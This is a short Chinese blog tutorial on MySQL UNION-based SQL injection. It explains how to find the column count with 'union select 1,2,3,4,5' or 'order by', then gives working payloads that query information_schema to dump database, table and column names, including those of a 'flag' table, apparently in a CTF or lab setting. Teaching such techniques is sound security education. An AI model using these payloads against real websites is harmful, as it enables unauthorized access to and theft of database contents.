美文网首页
Mysql注入-union联合查询注入

Mysql注入-union联合查询注入

作者: nohands_noob | 来源:发表于2019-11-05 21:06 被阅读0次

mysql中数据库information_schema使得注入方便了许多

行为 语句
查库 select schema_name from information_schema.schemata
查表 select table_name from information_schema.tables where table_schema=库名
查列 select column_name from information_schema.columns where table_name=表名

union联合查询
union注入成功前提:页面有回显,联合查询的列数与原查询的列数一致
使用 and 1=2是使原来的查询结果失败,一下用 -1 表示
确定列数:-1 union select 1,2,3,4,5 (如果查询的有5列,页面回显正常,测试列数时从1慢慢添加即可)
当回显正常时,页面显示数据的地方,会被标记成1,2,3,4,5,这样我们就知道每列的数据显示在什么位置了

不使用上述方法测试列数也可以直接用order by来确认列数
如:order by 5(只有5列的话累加到6会出错观察页面数据的变化也可以知道每列的数据显示在什么位置)

开始获取数据:

行为 语句
查数据库 -1 union select 1,database(),3,4,5 ---(库名显示在第二个列表)
查询表名 -1 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database() ---(表名全部写在第二列)
查询列名 -1 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name='flag' ---(查询flag表的所有列显示在第二列)

相关文章

  • Mysql注入-union联合查询注入

    mysql中数据库information_schema使得注入方便了许多 union联合查询union注入成功前提...

  • union联合查询注入&&报错注入

    union联合查询注入 报错注入

  • Mysql手工注入

    整理一下手工注入笔记,以sqli-labs环境为例。 1.Mysql手工union联合查询注入 输入单引号,页面报...

  • SQLserver注入大全

    联合查询注入 order by 4--union select name,null,null,null from ...

  • Oracle注入大全

    联合查询注入 order by 3--and 1=2 union select null,null,null fr...

  • 网络安全-Day23-SQL注入(实战篇)

    一、union注入 介绍:union操作符用于合并两个或多个SQL语句集合起来,得到联合的查询结果。 1、联合查询...

  • Less1

    基于报错的sql注入 字符型注入 数字型 括号型推测sql语句 **union ** 联合查询的方法,主要利用my...

  • SQL注入记录

    sql 注入 1.盲注 (没有回显)2.显错注入3.报错注入 显错注入-联合查询(Mysql数据库)的基本流程 显...

  • union查询注入

    1.UNION介绍 union 操作符用于合并两个或多个SELECT语句的结果集 注: union 内部的 sel...

  • Mysql时间盲注手工注入详解

    此文章建立在已经阅读并掌握了《Mysql 联合查询手工注入详解》和Mysql 布尔型盲注手工注入详解的基础上 练习...

网友评论

      本文标题:Mysql注入-union联合查询注入

      本文链接:https://www.haomeiwen.com/subject/kvgebctx.html